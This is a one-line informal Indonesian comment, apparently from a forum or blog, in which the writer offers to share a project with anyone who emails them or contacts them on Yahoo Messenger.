kalau mau projetnya email saya ya atau YM-an juga bisa.